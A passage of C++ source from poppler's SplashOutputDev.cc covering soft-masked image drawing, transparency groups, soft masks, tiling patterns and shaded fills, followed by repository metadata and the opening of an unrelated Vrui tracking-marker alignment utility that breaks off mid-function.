imgData.lookup[4*i+1] = colToByte(rgb.g);
imgData.lookup[4*i+2] = colToByte(rgb.b);
imgData.lookup[4*i+3] = 255;
}
break;
#if SPLASH_CMYK
case splashModeCMYK8:
imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
colorMap->getCMYK(&pix, &cmyk);
imgData.lookup[4*i] = colToByte(cmyk.c);
imgData.lookup[4*i+1] = colToByte(cmyk.m);
imgData.lookup[4*i+2] = colToByte(cmyk.y);
imgData.lookup[4*i+3] = colToByte(cmyk.k);
}
break;
case splashModeDeviceN8:
imgData.lookup = (SplashColorPtr)gmallocn(n, SPOT_NCOMPS+4);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
colorMap->getDeviceN(&pix, &deviceN);
for (int cp = 0; cp < SPOT_NCOMPS+4; cp++)
imgData.lookup[(SPOT_NCOMPS+4)*i + cp] = colToByte(deviceN.c[cp]);
}
break;
#endif
}
}
if (colorMode == splashModeMono1) {
srcMode = splashModeMono8;
} else {
srcMode = colorMode;
}
splash->drawImage(&maskedImageSrc, &imgData, srcMode, gTrue,
width, height, mat, interpolate);
delete maskBitmap;
gfree(imgData.lookup);
delete imgData.imgStr;
str->close();
}
}
void SplashOutputDev::drawSoftMaskedImage(GfxState *state, Object *ref,
Stream *str, int width, int height,
GfxImageColorMap *colorMap,
GBool interpolate,
Stream *maskStr,
int maskWidth, int maskHeight,
GfxImageColorMap *maskColorMap,
GBool maskInterpolate) {
double *ctm;
SplashCoord mat[6];
SplashOutImageData imgData;
SplashOutImageData imgMaskData;
SplashColorMode srcMode;
SplashBitmap *maskBitmap;
Splash *maskSplash;
SplashColor maskColor;
GfxGray gray;
GfxRGB rgb;
#if SPLASH_CMYK
GfxCMYK cmyk;
GfxColor deviceN;
#endif
Guchar pix;
int n, i;
#if SPLASH_CMYK
colorMap->getColorSpace()->createMapping(bitmap->getSeparationList(), SPOT_NCOMPS);
#endif
setOverprintMask(colorMap->getColorSpace(), state->getFillOverprint(),
state->getOverprintMode(), NULL);
ctm = state->getCTM();
for (i = 0; i < 6; ++i) {
if (!isfinite(ctm[i])) return;
}
mat[0] = ctm[0];
mat[1] = ctm[1];
mat[2] = -ctm[2];
mat[3] = -ctm[3];
mat[4] = ctm[2] + ctm[4];
mat[5] = ctm[3] + ctm[5];
//----- set up the soft mask
imgMaskData.imgStr = new ImageStream(maskStr, maskWidth,
maskColorMap->getNumPixelComps(),
maskColorMap->getBits());
imgMaskData.imgStr->reset();
imgMaskData.colorMap = maskColorMap;
imgMaskData.maskColors = NULL;
imgMaskData.colorMode = splashModeMono8;
imgMaskData.width = maskWidth;
imgMaskData.height = maskHeight;
imgMaskData.y = 0;
n = 1 << maskColorMap->getBits();
imgMaskData.lookup = (SplashColorPtr)gmalloc(n);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
maskColorMap->getGray(&pix, &gray);
imgMaskData.lookup[i] = colToByte(gray);
}
maskBitmap = new SplashBitmap(bitmap->getWidth(), bitmap->getHeight(),
1, splashModeMono8, gFalse);
maskSplash = new Splash(maskBitmap, vectorAntialias);
maskColor[0] = 0;
maskSplash->clear(maskColor);
maskSplash->drawImage(&imageSrc, &imgMaskData, splashModeMono8, gFalse,
maskWidth, maskHeight, mat, maskInterpolate);
delete imgMaskData.imgStr;
maskStr->close();
gfree(imgMaskData.lookup);
delete maskSplash;
splash->setSoftMask(maskBitmap);
//----- draw the source image
imgData.imgStr = new ImageStream(str, width,
colorMap->getNumPixelComps(),
colorMap->getBits());
imgData.imgStr->reset();
imgData.colorMap = colorMap;
imgData.maskColors = NULL;
imgData.colorMode = colorMode;
imgData.width = width;
imgData.height = height;
imgData.y = 0;
// special case for one-channel (monochrome/gray/separation) images:
// build a lookup table here
imgData.lookup = NULL;
if (colorMap->getNumPixelComps() == 1) {
n = 1 << colorMap->getBits();
switch (colorMode) {
case splashModeMono1:
case splashModeMono8:
imgData.lookup = (SplashColorPtr)gmalloc(n);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
colorMap->getGray(&pix, &gray);
imgData.lookup[i] = colToByte(gray);
}
break;
case splashModeRGB8:
case splashModeBGR8:
imgData.lookup = (SplashColorPtr)gmallocn(n, 3);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
colorMap->getRGB(&pix, &rgb);
imgData.lookup[3*i] = colToByte(rgb.r);
imgData.lookup[3*i+1] = colToByte(rgb.g);
imgData.lookup[3*i+2] = colToByte(rgb.b);
}
break;
case splashModeXBGR8:
imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
colorMap->getRGB(&pix, &rgb);
imgData.lookup[4*i] = colToByte(rgb.r);
imgData.lookup[4*i+1] = colToByte(rgb.g);
imgData.lookup[4*i+2] = colToByte(rgb.b);
imgData.lookup[4*i+3] = 255;
}
break;
#if SPLASH_CMYK
case splashModeCMYK8:
imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
colorMap->getCMYK(&pix, &cmyk);
imgData.lookup[4*i] = colToByte(cmyk.c);
imgData.lookup[4*i+1] = colToByte(cmyk.m);
imgData.lookup[4*i+2] = colToByte(cmyk.y);
imgData.lookup[4*i+3] = colToByte(cmyk.k);
}
break;
case splashModeDeviceN8:
imgData.lookup = (SplashColorPtr)gmallocn(n, SPOT_NCOMPS+4);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
colorMap->getDeviceN(&pix, &deviceN);
for (int cp = 0; cp < SPOT_NCOMPS+4; cp++)
imgData.lookup[(SPOT_NCOMPS+4)*i + cp] = colToByte(deviceN.c[cp]);
}
break;
#endif
}
}
if (colorMode == splashModeMono1) {
srcMode = splashModeMono8;
} else {
srcMode = colorMode;
}
splash->drawImage(&imageSrc, &imgData, srcMode, gFalse, width, height, mat, interpolate);
splash->setSoftMask(NULL);
gfree(imgData.lookup);
delete imgData.imgStr;
str->close();
}
GBool SplashOutputDev::checkTransparencyGroup(GfxState *state, GBool knockout) {
if (state->getFillOpacity() != 1 ||
state->getStrokeOpacity() != 1 ||
state->getAlphaIsShape() ||
state->getBlendMode() != gfxBlendNormal ||
splash->getSoftMask() != NULL ||
knockout)
return gTrue;
return transpGroupStack != NULL && transpGroupStack->shape != NULL;
}
void SplashOutputDev::beginTransparencyGroup(GfxState *state, double *bbox,
GfxColorSpace *blendingColorSpace,
GBool isolated, GBool knockout,
GBool forSoftMask) {
SplashTransparencyGroup *transpGroup;
SplashColor color;
double xMin, yMin, xMax, yMax, x, y;
int tx, ty, w, h, i;
// transform the bbox
state->transform(bbox[0], bbox[1], &x, &y);
xMin = xMax = x;
yMin = yMax = y;
state->transform(bbox[0], bbox[3], &x, &y);
if (x < xMin) {
xMin = x;
} else if (x > xMax) {
xMax = x;
}
if (y < yMin) {
yMin = y;
} else if (y > yMax) {
yMax = y;
}
state->transform(bbox[2], bbox[1], &x, &y);
if (x < xMin) {
xMin = x;
} else if (x > xMax) {
xMax = x;
}
if (y < yMin) {
yMin = y;
} else if (y > yMax) {
yMax = y;
}
state->transform(bbox[2], bbox[3], &x, &y);
if (x < xMin) {
xMin = x;
} else if (x > xMax) {
xMax = x;
}
if (y < yMin) {
yMin = y;
} else if (y > yMax) {
yMax = y;
}
tx = (int)floor(xMin);
if (tx < 0) {
tx = 0;
} else if (tx >= bitmap->getWidth()) {
tx = bitmap->getWidth() - 1;
}
ty = (int)floor(yMin);
if (ty < 0) {
ty = 0;
} else if (ty >= bitmap->getHeight()) {
ty = bitmap->getHeight() - 1;
}
w = (int)ceil(xMax) - tx + 1;
if (tx + w > bitmap->getWidth()) {
w = bitmap->getWidth() - tx;
}
if (w < 1) {
w = 1;
}
h = (int)ceil(yMax) - ty + 1;
if (ty + h > bitmap->getHeight()) {
h = bitmap->getHeight() - ty;
}
if (h < 1) {
h = 1;
}
// push a new stack entry
transpGroup = new SplashTransparencyGroup();
transpGroup->tx = tx;
transpGroup->ty = ty;
transpGroup->blendingColorSpace = blendingColorSpace;
transpGroup->isolated = isolated;
transpGroup->shape = (knockout && !isolated) ? SplashBitmap::copy(bitmap) : NULL;
transpGroup->knockout = (knockout && isolated);
transpGroup->knockoutOpacity = 1.0;
transpGroup->next = transpGroupStack;
transpGroupStack = transpGroup;
// save state
transpGroup->origBitmap = bitmap;
transpGroup->origSplash = splash;
transpGroup->fontAA = fontEngine->getAA();
//~ this handles the blendingColorSpace arg for soft masks, but
//~ not yet for transparency groups
// switch to the blending color space
if (forSoftMask && isolated && blendingColorSpace) {
if (blendingColorSpace->getMode() == csDeviceGray ||
blendingColorSpace->getMode() == csCalGray ||
(blendingColorSpace->getMode() == csICCBased &&
blendingColorSpace->getNComps() == 1)) {
colorMode = splashModeMono8;
} else if (blendingColorSpace->getMode() == csDeviceRGB ||
blendingColorSpace->getMode() == csCalRGB ||
(blendingColorSpace->getMode() == csICCBased &&
blendingColorSpace->getNComps() == 3)) {
//~ does this need to use BGR8?
colorMode = splashModeRGB8;
#if SPLASH_CMYK
} else if (blendingColorSpace->getMode() == csDeviceCMYK ||
(blendingColorSpace->getMode() == csICCBased &&
blendingColorSpace->getNComps() == 4)) {
colorMode = splashModeCMYK8;
#endif
}
}
// create the temporary bitmap
bitmap = new SplashBitmap(w, h, bitmapRowPad, colorMode, gTrue,
bitmapTopDown, bitmap->getSeparationList());
splash = new Splash(bitmap, vectorAntialias,
transpGroup->origSplash->getScreen());
if (transpGroup->next != NULL && transpGroup->next->knockout) {
fontEngine->setAA(gFalse);
}
splash->setThinLineMode(transpGroup->origSplash->getThinLineMode());
splash->setMinLineWidth(globalParams->getMinLineWidth());
//~ Acrobat apparently copies at least the fill and stroke colors, and
//~ maybe other state(?) -- but not the clipping path (and not sure
//~ what else)
//~ [this is likely the same situation as in type3D1()]
splash->setFillPattern(transpGroup->origSplash->getFillPattern()->copy());
splash->setStrokePattern(
transpGroup->origSplash->getStrokePattern()->copy());
if (isolated) {
for (i = 0; i < splashMaxColorComps; ++i) {
color[i] = 0;
}
if (colorMode == splashModeXBGR8) color[3] = 255;
splash->clear(color, 0);
} else {
SplashBitmap *shape = (knockout) ? transpGroup->shape :
(transpGroup->next != NULL && transpGroup->next->shape != NULL) ? transpGroup->next->shape : transpGroup->origBitmap;
int shapeTx = (knockout) ? tx :
(transpGroup->next != NULL && transpGroup->next->shape != NULL) ? transpGroup->next->tx + tx : tx;
int shapeTy = (knockout) ? ty :
(transpGroup->next != NULL && transpGroup->next->shape != NULL) ? transpGroup->next->ty + ty : ty;
splash->blitTransparent(transpGroup->origBitmap, tx, ty, 0, 0, w, h);
splash->setInNonIsolatedGroup(shape, shapeTx, shapeTy);
}
transpGroup->tBitmap = bitmap;
state->shiftCTMAndClip(-tx, -ty);
updateCTM(state, 0, 0, 0, 0, 0, 0);
++nestCount;
}
void SplashOutputDev::endTransparencyGroup(GfxState *state) {
// restore state
--nestCount;
delete splash;
bitmap = transpGroupStack->origBitmap;
colorMode = bitmap->getMode();
splash = transpGroupStack->origSplash;
state->shiftCTMAndClip(transpGroupStack->tx, transpGroupStack->ty);
updateCTM(state, 0, 0, 0, 0, 0, 0);
}
void SplashOutputDev::paintTransparencyGroup(GfxState *state, double *bbox) {
SplashBitmap *tBitmap;
SplashTransparencyGroup *transpGroup;
GBool isolated;
int tx, ty;
tx = transpGroupStack->tx;
ty = transpGroupStack->ty;
tBitmap = transpGroupStack->tBitmap;
isolated = transpGroupStack->isolated;
// paint the transparency group onto the parent bitmap
// - the clip path was set in the parent's state)
if (tx < bitmap->getWidth() && ty < bitmap->getHeight()) {
SplashCoord knockoutOpacity = (transpGroupStack->next != NULL) ? transpGroupStack->next->knockoutOpacity
: transpGroupStack->knockoutOpacity;
splash->setOverprintMask(0xffffffff, gFalse);
splash->composite(tBitmap, 0, 0, tx, ty,
tBitmap->getWidth(), tBitmap->getHeight(),
gFalse, !isolated, transpGroupStack->next != NULL && transpGroupStack->next->knockout, knockoutOpacity);
fontEngine->setAA(transpGroupStack->fontAA);
if (transpGroupStack->next != NULL && transpGroupStack->next->shape != NULL) {
transpGroupStack->next->knockout = gTrue;
}
}
// pop the stack
transpGroup = transpGroupStack;
transpGroupStack = transpGroup->next;
if (transpGroupStack != NULL && transpGroup->knockoutOpacity < transpGroupStack->knockoutOpacity) {
transpGroupStack->knockoutOpacity = transpGroup->knockoutOpacity;
}
delete transpGroup->shape;
delete transpGroup;
delete tBitmap;
}
void SplashOutputDev::setSoftMask(GfxState *state, double *bbox,
GBool alpha, Function *transferFunc,
GfxColor *backdropColor) {
SplashBitmap *softMask, *tBitmap;
Splash *tSplash;
SplashTransparencyGroup *transpGroup;
SplashColor color;
SplashColorPtr p;
GfxGray gray;
GfxRGB rgb;
#if SPLASH_CMYK
GfxCMYK cmyk;
GfxColor deviceN;
#endif
double lum, lum2;
int tx, ty, x, y;
tx = transpGroupStack->tx;
ty = transpGroupStack->ty;
tBitmap = transpGroupStack->tBitmap;
// composite with backdrop color
if (!alpha && tBitmap->getMode() != splashModeMono1) {
//~ need to correctly handle the case where no blending color
//~ space is given
if (transpGroupStack->blendingColorSpace) {
tSplash = new Splash(tBitmap, vectorAntialias,
transpGroupStack->origSplash->getScreen());
switch (tBitmap->getMode()) {
case splashModeMono1:
// transparency is not supported in mono1 mode
break;
case splashModeMono8:
transpGroupStack->blendingColorSpace->getGray(backdropColor, &gray);
color[0] = colToByte(gray);
tSplash->compositeBackground(color);
break;
case splashModeXBGR8:
color[3] = 255;
case splashModeRGB8:
case splashModeBGR8:
transpGroupStack->blendingColorSpace->getRGB(backdropColor, &rgb);
color[0] = colToByte(rgb.r);
color[1] = colToByte(rgb.g);
color[2] = colToByte(rgb.b);
tSplash->compositeBackground(color);
break;
#if SPLASH_CMYK
case splashModeCMYK8:
transpGroupStack->blendingColorSpace->getCMYK(backdropColor, &cmyk);
color[0] = colToByte(cmyk.c);
color[1] = colToByte(cmyk.m);
color[2] = colToByte(cmyk.y);
color[3] = colToByte(cmyk.k);
tSplash->compositeBackground(color);
break;
case splashModeDeviceN8:
transpGroupStack->blendingColorSpace->getDeviceN(backdropColor, &deviceN);
for (int cp=0; cp < SPOT_NCOMPS+4; cp++)
color[cp] = colToByte(deviceN.c[cp]);
tSplash->compositeBackground(color);
break;
#endif
}
delete tSplash;
}
}
softMask = new SplashBitmap(bitmap->getWidth(), bitmap->getHeight(),
1, splashModeMono8, gFalse);
unsigned char fill = 0;
if (transpGroupStack->blendingColorSpace) {
transpGroupStack->blendingColorSpace->getGray(backdropColor, &gray);
fill = colToByte(gray);
}
memset(softMask->getDataPtr(), fill,
softMask->getRowSize() * softMask->getHeight());
p = softMask->getDataPtr() + ty * softMask->getRowSize() + tx;
int xMax = tBitmap->getWidth();
int yMax = tBitmap->getHeight();
if (xMax + tx > bitmap->getWidth()) xMax = bitmap->getWidth() - tx;
if (yMax + ty > bitmap->getHeight()) yMax = bitmap->getHeight() - ty;
for (y = 0; y < yMax; ++y) {
for (x = 0; x < xMax; ++x) {
if (alpha) {
if (transferFunc) {
lum = tBitmap->getAlpha(x, y) / 255.0;
transferFunc->transform(&lum, &lum2);
p[x] = (int)(lum2 * 255.0 + 0.5);
} else
p[x] = tBitmap->getAlpha(x, y);
} else {
tBitmap->getPixel(x, y, color);
// convert to luminosity
switch (tBitmap->getMode()) {
case splashModeMono1:
case splashModeMono8:
lum = color[0] / 255.0;
break;
case splashModeXBGR8:
case splashModeRGB8:
case splashModeBGR8:
lum = (0.3 / 255.0) * color[0] +
(0.59 / 255.0) * color[1] +
(0.11 / 255.0) * color[2];
break;
#if SPLASH_CMYK
case splashModeCMYK8:
case splashModeDeviceN8:
lum = (1 - color[3] / 255.0)
- (0.3 / 255.0) * color[0]
- (0.59 / 255.0) * color[1]
- (0.11 / 255.0) * color[2];
if (lum < 0) {
lum = 0;
}
break;
#endif
}
if (transferFunc) {
transferFunc->transform(&lum, &lum2);
} else {
lum2 = lum;
}
p[x] = (int)(lum2 * 255.0 + 0.5);
}
}
p += softMask->getRowSize();
}
splash->setSoftMask(softMask);
// pop the stack
transpGroup = transpGroupStack;
transpGroupStack = transpGroup->next;
delete transpGroup;
delete tBitmap;
}
void SplashOutputDev::clearSoftMask(GfxState *state) {
splash->setSoftMask(NULL);
}
void SplashOutputDev::setPaperColor(SplashColorPtr paperColorA) {
splashColorCopy(paperColor, paperColorA);
}
int SplashOutputDev::getBitmapWidth() {
return bitmap->getWidth();
}
int SplashOutputDev::getBitmapHeight() {
return bitmap->getHeight();
}
SplashBitmap *SplashOutputDev::takeBitmap() {
SplashBitmap *ret;
ret = bitmap;
bitmap = new SplashBitmap(1, 1, bitmapRowPad, colorMode,
colorMode != splashModeMono1, bitmapTopDown);
return ret;
}
void SplashOutputDev::getModRegion(int *xMin, int *yMin,
int *xMax, int *yMax) {
splash->getModRegion(xMin, yMin, xMax, yMax);
}
void SplashOutputDev::clearModRegion() {
splash->clearModRegion();
}
#if 1 //~tmp: turn off anti-aliasing temporarily
GBool SplashOutputDev::getVectorAntialias() {
return splash->getVectorAntialias();
}
void SplashOutputDev::setVectorAntialias(GBool vaa) {
vectorAntialias = vaa;
splash->setVectorAntialias(vaa);
}
#endif
void SplashOutputDev::setFreeTypeHinting(GBool enable, GBool enableSlightHintingA)
{
enableFreeTypeHinting = enable;
enableSlightHinting = enableSlightHintingA;
}
GBool SplashOutputDev::tilingPatternFill(GfxState *state, Gfx *gfxA, Catalog *catalog, Object *str,
double *ptm, int paintType, int /*tilingType*/, Dict *resDict,
double *mat, double *bbox,
int x0, int y0, int x1, int y1,
double xStep, double yStep)
{
PDFRectangle box;
Gfx *gfx;
Splash *formerSplash = splash;
SplashBitmap *formerBitmap = bitmap;
double width, height;
int surface_width, surface_height, result_width, result_height, i;
int repeatX, repeatY;
SplashCoord matc[6];
Matrix m1;
double *ctm, savedCTM[6];
double kx, ky, sx, sy;
GBool retValue = gFalse;
width = bbox[2] - bbox[0];
height = bbox[3] - bbox[1];
if (xStep != width || yStep != height)
return gFalse;
// calculate offsets
ctm = state->getCTM();
for (i = 0; i < 6; ++i) {
savedCTM[i] = ctm[i];
}
state->concatCTM(mat[0], mat[1], mat[2], mat[3], mat[4], mat[5]);
state->concatCTM(1, 0, 0, 1, bbox[0], bbox[1]);
ctm = state->getCTM();
for (i = 0; i < 6; ++i) {
if (!isfinite(ctm[i])) {
state->setCTM(savedCTM[0], savedCTM[1], savedCTM[2], savedCTM[3], savedCTM[4], savedCTM[5]);
return gFalse;
}
}
matc[4] = x0 * xStep * ctm[0] + y0 * yStep * ctm[2] + ctm[4];
matc[5] = x0 * xStep * ctm[1] + y0 * yStep * ctm[3] + ctm[5];
if (splashAbs(ctm[1]) > splashAbs(ctm[0])) {
kx = -ctm[1];
ky = ctm[2] - (ctm[0] * ctm[3]) / ctm[1];
} else {
kx = ctm[0];
ky = ctm[3] - (ctm[1] * ctm[2]) / ctm[0];
}
result_width = (int) ceil(fabs(kx * width * (x1 - x0)));
result_height = (int) ceil(fabs(ky * height * (y1 - y0)));
kx = state->getHDPI() / 72.0;
ky = state->getVDPI() / 72.0;
m1.m[0] = (ptm[0] == 0) ? fabs(ptm[2]) * kx : fabs(ptm[0]) * kx;
m1.m[1] = 0;
m1.m[2] = 0;
m1.m[3] = (ptm[3] == 0) ? fabs(ptm[1]) * ky : fabs(ptm[3]) * ky;
m1.m[4] = 0;
m1.m[5] = 0;
m1.transform(width, height, &kx, &ky);
surface_width = (int) ceil (fabs(kx));
surface_height = (int) ceil (fabs(ky));
sx = (double) result_width / (surface_width * (x1 - x0));
sy = (double) result_height / (surface_height * (y1 - y0));
m1.m[0] *= sx;
m1.m[3] *= sy;
m1.transform(width, height, &kx, &ky);
if(fabs(kx) < 1 && fabs(ky) < 1) {
kx = std::min<double>(kx, ky);
ky = 2 / kx;
m1.m[0] *= ky;
m1.m[3] *= ky;
m1.transform(width, height, &kx, &ky);
surface_width = (int) ceil (fabs(kx));
surface_height = (int) ceil (fabs(ky));
repeatX = x1 - x0;
repeatY = y1 - y0;
} else {
if ((unsigned long) result_width * result_height > 0x800000L) {
state->setCTM(savedCTM[0], savedCTM[1], savedCTM[2], savedCTM[3], savedCTM[4], savedCTM[5]);
return gFalse;
}
while(fabs(kx) > 16384 || fabs(ky) > 16384) {
// limit pattern bitmap size
m1.m[0] /= 2;
m1.m[3] /= 2;
m1.transform(width, height, &kx, &ky);
}
surface_width = (int) ceil (fabs(kx));
surface_height = (int) ceil (fabs(ky));
// adjust repeat values to completely fill region
repeatX = result_width / surface_width;
repeatY = result_height / surface_height;
if (surface_width * repeatX < result_width)
repeatX++;
if (surface_height * repeatY < result_height)
repeatY++;
if (x1 - x0 > repeatX)
repeatX = x1 - x0;
if (y1 - y0 > repeatY)
repeatY = y1 - y0;
}
// restore CTM and calculate rotate and scale with rounded matric
state->setCTM(savedCTM[0], savedCTM[1], savedCTM[2], savedCTM[3], savedCTM[4], savedCTM[5]);
state->concatCTM(mat[0], mat[1], mat[2], mat[3], mat[4], mat[5]);
state->concatCTM(width * repeatX, 0, 0, height * repeatY, bbox[0], bbox[1]);
ctm = state->getCTM();
matc[0] = ctm[0];
matc[1] = ctm[1];
matc[2] = ctm[2];
matc[3] = ctm[3];
if (surface_width == 0 || surface_height == 0) {
state->setCTM(savedCTM[0], savedCTM[1], savedCTM[2], savedCTM[3], savedCTM[4], savedCTM[5]);
return gFalse;
}
m1.transform(bbox[0], bbox[1], &kx, &ky);
m1.m[4] = -kx;
m1.m[5] = -ky;
bitmap = new SplashBitmap(surface_width, surface_height, 1,
(paintType == 1) ? colorMode : splashModeMono8, gTrue);
splash = new Splash(bitmap, gTrue);
if (paintType == 2) {
SplashColor clearColor;
#if SPLASH_CMYK
clearColor[0] = (colorMode == splashModeCMYK8 || colorMode == splashModeDeviceN8) ? 0x00 : 0xFF;
#else
clearColor[0] = 0xFF;
#endif
splash->clear(clearColor, 0);
} else {
splash->clear(paperColor, 0);
}
splash->setThinLineMode(formerSplash->getThinLineMode());
splash->setMinLineWidth(globalParams->getMinLineWidth());
box.x1 = bbox[0]; box.y1 = bbox[1];
box.x2 = bbox[2]; box.y2 = bbox[3];
gfx = new Gfx(doc, this, resDict, &box, NULL, NULL, NULL, gfxA->getXRef());
// set pattern transformation matrix
gfx->getState()->setCTM(m1.m[0], m1.m[1], m1.m[2], m1.m[3], m1.m[4], m1.m[5]);
updateCTM(gfx->getState(), m1.m[0], m1.m[1], m1.m[2], m1.m[3], m1.m[4], m1.m[5]);
gfx->display(str);
delete splash;
splash = formerSplash;
TilingSplashOutBitmap imgData;
imgData.bitmap = bitmap;
imgData.paintType = paintType;
imgData.pattern = splash->getFillPattern();
imgData.colorMode = colorMode;
imgData.y = 0;
imgData.repeatX = repeatX;
imgData.repeatY = repeatY;
SplashBitmap *tBitmap = bitmap;
bitmap = formerBitmap;
result_width = tBitmap->getWidth() * imgData.repeatX;
result_height = tBitmap->getHeight() * imgData.repeatY;
if (splashAbs(matc[1]) > splashAbs(matc[0])) {
kx = -matc[1];
ky = matc[2] - (matc[0] * matc[3]) / matc[1];
} else {
kx = matc[0];
ky = matc[3] - (matc[1] * matc[2]) / matc[0];
}
kx = result_width / (fabs(kx) + 1);
ky = result_height / (fabs(ky) + 1);
state->concatCTM(kx, 0, 0, ky, 0, 0);
ctm = state->getCTM();
matc[0] = ctm[0];
matc[1] = ctm[1];
matc[2] = ctm[2];
matc[3] = ctm[3];
GBool minorAxisZero = matc[1] == 0 && matc[2] == 0;
if (matc[0] > 0 && minorAxisZero && matc[3] > 0) {
// draw the tiles
for (int y = 0; y < imgData.repeatY; ++y) {
for (int x = 0; x < imgData.repeatX; ++x) {
x0 = splashFloor(matc[4]) + x * tBitmap->getWidth();
y0 = splashFloor(matc[5]) + y * tBitmap->getHeight();
splash->blitImage(tBitmap, gTrue, x0, y0);
}
}
retValue = gTrue;
} else {
retValue = splash->drawImage(&tilingBitmapSrc, &imgData, colorMode, gTrue, result_width, result_height, matc, gFalse, gTrue) == splashOk;
}
delete tBitmap;
delete gfx;
return retValue;
}
GBool SplashOutputDev::gouraudTriangleShadedFill(GfxState *state, GfxGouraudTriangleShading *shading)
{
GfxColorSpaceMode shadingMode = shading->getColorSpace()->getMode();
GBool bDirectColorTranslation = gFalse; // triggers an optimization.
switch (colorMode) {
case splashModeRGB8:
bDirectColorTranslation = (shadingMode == csDeviceRGB);
break;
#if SPLASH_CMYK
case splashModeCMYK8:
case splashModeDeviceN8:
bDirectColorTranslation = (shadingMode == csDeviceCMYK || shadingMode == csDeviceN);
break;
#endif
default:
break;
}
SplashGouraudColor *splashShading = new SplashGouraudPattern(bDirectColorTranslation, state, shading, colorMode);
// restore vector antialias because we support it here
if (shading->isParameterized()) {
GBool vaa = getVectorAntialias();
GBool retVal = gFalse;
setVectorAntialias(gTrue);
retVal = splash->gouraudTriangleShadedFill(splashShading);
setVectorAntialias(vaa);
return retVal;
}
delete splashShading;
return gFalse;
}
GBool SplashOutputDev::univariateShadedFill(GfxState *state, SplashUnivariatePattern *pattern, double tMin, double tMax) {
double xMin, yMin, xMax, yMax;
SplashPath *path;
GBool vaa = getVectorAntialias();
// restore vector antialias because we support it here
setVectorAntialias(gTrue);
GBool retVal = gFalse;
// get the clip region bbox
if (pattern->getShading()->getHasBBox()) {
pattern->getShading()->getBBox(&xMin, &yMin, &xMax, &yMax);
} else {
state->getClipBBox(&xMin, &yMin, &xMax, &yMax);
xMin = floor (xMin);
yMin = floor (yMin);
xMax = ceil (xMax);
yMax = ceil (yMax);
{
Matrix ctm, ictm;
double x[4], y[4];
int i;
state->getCTM(&ctm);
ctm.invertTo(&ictm);
ictm.transform(xMin, yMin, &x[0], &y[0]);
ictm.transform(xMax, yMin, &x[1], &y[1]);
ictm.transform(xMin, yMax, &x[2], &y[2]);
ictm.transform(xMax, yMax, &x[3], &y[3]);
xMin = xMax = x[0];
yMin = yMax = y[0];
for (i = 1; i < 4; i++) {
xMin = std::min<double>(xMin, x[i]);
yMin = std::min<double>(yMin, y[i]);
xMax = std::max<double>(xMax, x[i]);
yMax = std::max<double>(yMax, y[i]);
}
}
}
// fill the region
state->moveTo(xMin, yMin);
state->lineTo(xMax, yMin);
state->lineTo(xMax, yMax);
state->lineTo(xMin, yMax);
state->closePath();
path = convertPath(state, state->getPath(), gTrue);
#if SPLASH_CMYK
pattern->getShading()->getColorSpace()->createMapping(bitmap->getSeparationList(), SPOT_NCOMPS);
#endif
setOverprintMask(pattern->getShading()->getColorSpace(), state->getFillOverprint(),
state->getOverprintMode(), NULL);
retVal = (splash->shadedFill(path, pattern->getShading()->getHasBBox(), pattern) == splashOk);
state->clearPath();
setVectorAntialias(vaa);
delete path;
return retVal;
}
GBool SplashOutputDev::axialShadedFill(GfxState *state, GfxAxialShading *shading, double tMin, double tMax) {
SplashAxialPattern *pattern = new SplashAxialPattern(colorMode, state, shading);
GBool retVal = univariateShadedFill(state, pattern, tMin, tMax);
delete pattern;
return retVal;
}
GBool SplashOutputDev::radialShadedFill(GfxState *state, GfxRadialShading *shading, double tMin, double tMax) {
SplashRadialPattern *pattern = new SplashRadialPattern(colorMode, state, shading);
GBool retVal = univariateShadedFill(state, pattern, tMin, tMax);
delete pattern;
return retVal;
}
|
anujkhare/poppler
|
poppler/SplashOutputDev.cc
|
C++
|
gpl-2.0
| 124,396
|
/***********************************************************************
AlignTrackingMarkers - Utility to define a reasonable coordinate system
based on tracking marker positions detected by an optical tracking
system.
Copyright (c) 2008-2010 Oliver Kreylos
This file is part of the Vrui calibration utility package.
The Vrui calibration utility package is free software; you can
redistribute it and/or modify it under the terms of the GNU General
Public License as published by the Free Software Foundation; either
version 2 of the License, or (at your option) any later version.
The Vrui calibration utility package is distributed in the hope that it
will be useful, but WITHOUT ANY WARRANTY; without even the implied
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with the Vrui calibration utility package; if not, write to the Free
Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
02111-1307 USA
***********************************************************************/
#include <string.h>
#include <stdlib.h>
#include <stdexcept>
#include <utility>
#include <vector>
#include <iostream>
#include <Misc/ThrowStdErr.h>
#include <Math/Math.h>
#include <Math/Constants.h>
#include <Geometry/Point.h>
#include <Geometry/AffineCombiner.h>
#include <Geometry/Vector.h>
#include <Geometry/OrthonormalTransformation.h>
#include <Geometry/Ray.h>
#include <Geometry/SolidHitResult.h>
#include <Geometry/Sphere.h>
#include <Geometry/Cylinder.h>
#include <Geometry/GeometryValueCoders.h>
#include <GL/gl.h>
#include <GL/GLColorTemplates.h>
#include <GL/GLColor.h>
#include <GL/GLMaterial.h>
#include <GL/GLModels.h>
#include <GL/GLGeometryWrappers.h>
#include <GL/GLTransformationWrappers.h>
#include <GLMotif/Blind.h>
#include <GLMotif/Label.h>
#include <GLMotif/Button.h>
#include <GLMotif/ToggleButton.h>
#include <GLMotif/TextField.h>
#include <GLMotif/RowColumn.h>
#include <GLMotif/Menu.h>
#include <GLMotif/PopupMenu.h>
#include <GLMotif/PopupWindow.h>
#include <Vrui/Vrui.h>
#include <Vrui/InputDevice.h>
#include <Vrui/ToolManager.h>
#include <Vrui/Tool.h>
#include <Vrui/GenericToolFactory.h>
#include <Vrui/Application.h>
#include "ReadOptiTrackMarkerFile.h"
#include "NaturalPointClient.h"
namespace {
/**************************************************************************************
Helper function to query relative marker positions from a NaturalPoint tracking server:
**************************************************************************************/
void queryRigidBody(const char* naturalPointServerName,int rigidBodyId,double scale,bool flipZ,std::vector<Geometry::Point<double,3> >& markers)
{
